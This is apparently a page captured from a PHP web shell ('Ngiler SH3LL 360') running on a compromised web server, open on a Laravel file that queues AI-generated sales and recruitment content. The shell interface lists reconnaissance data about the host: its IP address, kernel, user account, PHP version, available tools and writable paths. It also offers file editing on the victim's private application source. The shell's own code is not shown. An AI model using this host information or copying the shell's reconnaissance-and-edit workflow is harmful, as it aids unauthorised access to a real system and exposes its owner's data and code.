Ngiler SH3LL 360
Home
Information
Create File
Create Folder
:
/
home
/
tbf
/
tbfguestbe.tbf.ro
/
app
/
Managers
/
Information Server
MySQL :
OFF
Perl :
OFF
CURL :
ON
WGET :
OFF
PKEXEC :
OFF
Directive
Local Value
IP Address
89.40.16.97
System
Linux server.atelieruldeit.ro 3.10.0-1160.el7.x86_64 #1 SMP Mon Oct 19 16:18:59 UTC 2020 x86_64
User
tbf
PHP Version
7.3.33
Software
Apache
Doc root
Writable
close
Edit File :
JobManager.php
| Size :
9.76
KB
Copy
<?php namespace App\Managers; use App\Jobs\GenerateRecruitmentAbilitiesJob; use App\Jobs\GenerateRecruitmentDetailsJob; use App\Jobs\GenerateRecruitmentEmailJob; use App\Jobs\GenerateRecruitmentJob; use App\Jobs\GenerateRecruitmentMessageJob; use App\Jobs\GenerateRecruitmentQuestionsJob; use App\Jobs\GenerateRecruitmentResponsibilitiesJob; use App\Jobs\GenerateSaleProcessAdJob; use App\Jobs\GenerateSaleProcessEmailJob; use App\Jobs\GenerateSaleProcessPageElementJob; use App\Jobs\GenerateSaleProcessPageJob; use App\Jobs\GenerateSaleProcessPhoneJob; use App\Jobs\GenerateSaleProcessResourceJob; use App\Jobs\GenerateSaleProcessSmsJob; use App\Models\Instance; use App\Models\Position; use App\Models\PromptType; use Illuminate\Bus\Batch; use Illuminate\Support\Facades\Bus; class JobManager { protected $jobs = []; protected $instance; protected $position; protected $type; /** * Generate an array of job instances for sale process */ public static function generateSaleProcessJobs(Instance $instance, ?string $type) { // Creez o instanță JobManager $jobManager = new self(); $jobManager->instance = $instance; $jobManager->type = $type; if ($type == 'resource') { $jobManager->jobs[] = new GenerateSaleProcessResourceJob($instance, PromptType::GENERATE_SALE_RESOURCE); } elseif ($type == 'page') { $jobManager->jobs[] = new GenerateSaleProcessPageJob($instance, PromptType::GENERATE_SALE_PAGE_TITLE); foreach (PromptType::$pageElements as $promptType) { $jobManager->jobs[] = new GenerateSaleProcessPageElementJob($instance, $promptType); } } elseif ($type == 'email') { foreach (PromptType::$emailPrompts as $promptType) { $jobManager->jobs[] = new GenerateSaleProcessEmailJob($instance, $promptType); } } elseif ($type == 'ad') { foreach (PromptType::$adPrompts as $promptType) { $jobManager->jobs[] = new GenerateSaleProcessAdJob($instance, $promptType); } } elseif ($type == 'other') { foreach (PromptType::$phonePrompts as $promptType) { $jobManager->jobs[] = new GenerateSaleProcessPhoneJob($instance, $promptType); } foreach (PromptType::$smsPrompts as $promptType) { $jobManager->jobs[] = new GenerateSaleProcessSmsJob($instance, $promptType); } } elseif ($type == 'phase_2') { foreach (PromptType::$phonePromptsPhase2 as $promptType) { $jobManager->jobs[] = new GenerateSaleProcessPhoneJob($instance, $promptType); } foreach (PromptType::$emailPromptsPhase2 as $promptType) { $jobManager->jobs[] = new GenerateSaleProcessEmailJob($instance, $promptType); } foreach (PromptType::$smsPromptsPhase2 as $promptType) { $jobManager->jobs[] = new GenerateSaleProcessSmsJob($instance, $promptType); } } else { $jobManager->jobs[] = new GenerateSaleProcessResourceJob($instance, PromptType::GENERATE_SALE_RESOURCE); $jobManager->jobs[] = new GenerateSaleProcessPageJob($instance, PromptType::GENERATE_SALE_PAGE_TITLE); foreach (PromptType::$pageElements as $promptType) { $jobManager->jobs[] = new GenerateSaleProcessPageElementJob($instance, $promptType); } foreach (PromptType::$emailPrompts as $promptType) { $jobManager->jobs[] = new GenerateSaleProcessEmailJob($instance, $promptType); } foreach (PromptType::$phonePrompts as $promptType) { $jobManager->jobs[] = new GenerateSaleProcessPhoneJob($instance, $promptType); } foreach (PromptType::$smsPrompts as $promptType) { $jobManager->jobs[] = new GenerateSaleProcessSmsJob($instance, $promptType); } foreach (PromptType::$adPrompts as $promptType) { $jobManager->jobs[] = new GenerateSaleProcessAdJob($instance, $promptType); } } return $jobManager; } public function dispatchJob() { $jobManager = JobManager::generateSaleProcessJobs($this->instance, $this->type); if ($this->type) { // aici adaug toate joburile in queue, nu pe rand. $groups = [ 'all' => collect($jobManager->jobs) ]; } else { // creeez grupuri pe care sa le adaug in queue pe rand. Daca intra toate in job odata, cum sunt mai multi worker, o sa ajunga un grup sa nu aiba acces la informatii din grupuri dinainte $groups = [ 'resource' => collect($jobManager->jobs)->take(1), // Grupul ResourceJob 'page' => collect($jobManager->jobs)->slice(1, count(PromptType::$pageElements)), 'phone' => collect($jobManager->jobs)->slice(1 + count(PromptType::$pageElements), count(PromptType::$phonePrompts)), 'email' => collect($jobManager->jobs)->slice(1 + count(PromptType::$pageElements) + count(PromptType::$phonePrompts), count(PromptType::$emailPrompts)), 'sms' => collect($jobManager->jobs)->slice(1 + count(PromptType::$pageElements) + count(PromptType::$phonePrompts) + count(PromptType::$emailPrompts), count(PromptType::$smsPrompts)), 'ad' => collect($jobManager->jobs)->slice(1 + count(PromptType::$pageElements) + count(PromptType::$phonePrompts) + count(PromptType::$emailPrompts) + count(PromptType::$smsPrompts), count(PromptType::$adPrompts)), ]; } $batch = $this->dispatchNextGroup($groups); return $batch; } public function dispatchNextGroup($groups) { if (count($groups) === 0) { $this->instance->update(['sale_process_status' => Instance::PROCESS_STATUS_COMPLETED]); return null; } $groupKey = array_key_first($groups); // Obține primul grup $groupJobs = $groups[$groupKey]; $batch = Bus::batch($groupJobs) ->then(function (Batch $batch) use ($groups, $groupKey) { // Job-urile din grupul curent au fost finalizate cu succes. // Putem trece la următorul grup (dacă există). unset($groups[$groupKey]); $this->dispatchNextGroup($groups); }) ->dispatch(); return $batch; } /** * Generate an array of job instances for sale process */ public static function generateRecruitmentJobs(Position $position, ?string $type) { // Creez o instanță JobManager $jobManager = new self(); $jobManager->position = $position; $jobManager->type = $type; if ($type == 'details') { $jobManager->jobs[] = new GenerateRecruitmentDetailsJob($position); } elseif ($type == 'responsibilities') { $jobManager->jobs[] = new GenerateRecruitmentResponsibilitiesJob($position); } elseif ($type == 'abilities') { $jobManager->jobs[] = new GenerateRecruitmentAbilitiesJob($position); } elseif ($type == 'email') { $jobManager->jobs[] = new GenerateRecruitmentEmailJob($position); } elseif ($type == 'linkedin') { $jobManager->jobs[] = new GenerateRecruitmentMessageJob($position); } elseif ($type == 'questions') { $jobManager->jobs[] = new GenerateRecruitmentQuestionsJob($position); } else { $jobManager->jobs[] = new GenerateRecruitmentJob($position); $jobManager->jobs[] = new GenerateRecruitmentDetailsJob($position); $jobManager->jobs[] = new GenerateRecruitmentResponsibilitiesJob($position); $jobManager->jobs[] = new GenerateRecruitmentAbilitiesJob($position); $jobManager->jobs[] = new GenerateRecruitmentEmailJob($position); $jobManager->jobs[] = new GenerateRecruitmentMessageJob($position); $jobManager->jobs[] = new GenerateRecruitmentQuestionsJob($position); } return $jobManager; } public static function dispatchRecruitmentJob(Position $position, ?string $type) { $jobManager = JobManager::generateRecruitmentJobs($position, $type); if ($type) { // creeez grupuri pe care sa le execut pe rand. Daca intra toate in job odata, cum sunt mai multi worker, o sa ajunga un grup sa nu aibe acces la informatii din grupuri dinainte $groups = [ 'all' => collect($jobManager->jobs) ]; } else { // creeez grupuri pe care sa le execut pe rand. Daca intra toate in job odata, cum sunt mai multi worker, o sa ajunga un grup sa nu aibe acces la informatii din grupuri dinainte $groups = [ 'recruitment' => collect($jobManager->jobs)->take(1), // Grupul ResourceJob 'details' => collect($jobManager->jobs)->slice(1,3), 'other' => collect($jobManager->jobs)->slice(4,3), ]; } $batch = self::dispatchRecruitmentNextGroup($groups); return $batch; } public static function dispatchRecruitmentNextGroup($groups) { if (count($groups) === 0) { return null; } $groupKey = array_key_first($groups); // Obține primul grup $groupJobs = $groups[$groupKey]; $batch = Bus::batch($groupJobs) ->then(function (Batch $batch) use ($groups, $groupKey) { // Job-urile din grupul curent au fost finalizate cu succes. // Putem trece la următorul grup (dacă există). unset($groups[$groupKey]); self::dispatchRecruitmentNextGroup($groups); }) ->dispatch(); return $batch; } }
Back